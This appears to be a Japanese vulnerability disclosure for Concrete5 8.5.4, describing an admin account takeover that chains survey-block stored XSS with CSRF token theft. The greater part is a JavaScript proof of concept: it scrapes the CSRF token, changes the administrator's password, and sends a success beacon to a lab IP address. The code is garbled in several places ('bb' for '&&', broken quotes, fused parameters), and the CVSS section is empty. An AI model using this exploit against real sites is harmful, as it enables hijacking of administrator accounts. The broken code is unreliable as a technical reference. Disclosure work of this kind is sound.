
Survey XSSとCSRFの組み合わせにより、Concrete5 8.5.4で管理者アカウント乗っ取りが発生する。
9より前のバージョンのConcrete CMS管理者は、別のユーザーのパスワードを変更する際に自分のパスワードを入力する必要がありませんでした。
CVE-2021-28145(「Concrete CMS(旧concrete5)8.5.5未満では、リモート認証ユーザーが巧妙に細工されたアンケートブロックを介してXSS攻撃を実行できる。これには最低でも編集者権限が必要」:修正はバージョン8.5.5に含まれています)と組み合わせることで、低権限ユーザー(例えば、開発者やアンケートを作成できる一般ユーザー)が悪意のあるJavaScriptコードをWebアプリケーションに挿入することが可能になります。アンケートの結果は、管理者が自身のWebインターフェース(Reports > Surveys)で確認できます。そこで悪意のあるJavaScriptコードも実行されます。Concrete5にはCSRF保護機能がありますが、リクエストを実行する前に対応するトークンをページから盗むことで非常に簡単にバイパスできます。Concrete5はパスワード変更時に古いパスワードを要求しないため、管理者パスワードを非常に簡単に変更できます。
var ccm_token = ";
var body = ";
var regex = /[0-9]{10}\:[a-f0-9]{32}/g;
var req = new XMLHttpRequest();
var req2 = new XMLHttpRequest();
req.open("GET","/concrete5-8.5.4/index.php/dashboard/users/search/view/1", true);
req.setRequestHeader("X-Requested-With", "XMLHttpRequest");
req.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
req. send();
req.onreadystatechange = function () {
if (req.readyState == 4 bb req.status == 200) {
body = req.responseText;
ccm_token = body.match(regex)[3];
}
};
setTimeout(() => {
confirm("Admin Account Takeover through XSS and CSRF Bypass in Concrete5 v.8.5.4 by Silky. CSRF Tok en: "+ccm_token);
req2.open("POST","/concrete5-8.5.4/index.php/dashboard/users/search/change_password/1", true);
req2.setRequestHeader("X-Requested-With", "XMLHttpRequest");
req2.setRequestHeader('Content-type', eapplication/x-www-form-urlencoded.);
req2.send("ccm_token="+ccm_token+"&uPassword=Demonstration_by_SilkyEruPasswordConfirm=Demonstration_ by_Silkyt_ccm_consider_request_as_xhr=1");
req2.onreadystatechange = function () {
if (req2.readyState == 4 bb req2.status == 200) {
body = req2.responseText;
if (body.includes("Password updated successfully.")){
console.log("Password updated successfully.");
var myImage = new Image(0, 0);
myImage.src = Ihttp://192.168.56.1:5686/Password_changed_successfullys;
}
else{
console.log("Something went wrong");
}
}
}
},2000);
CVSSスコア:
最終的なスコア: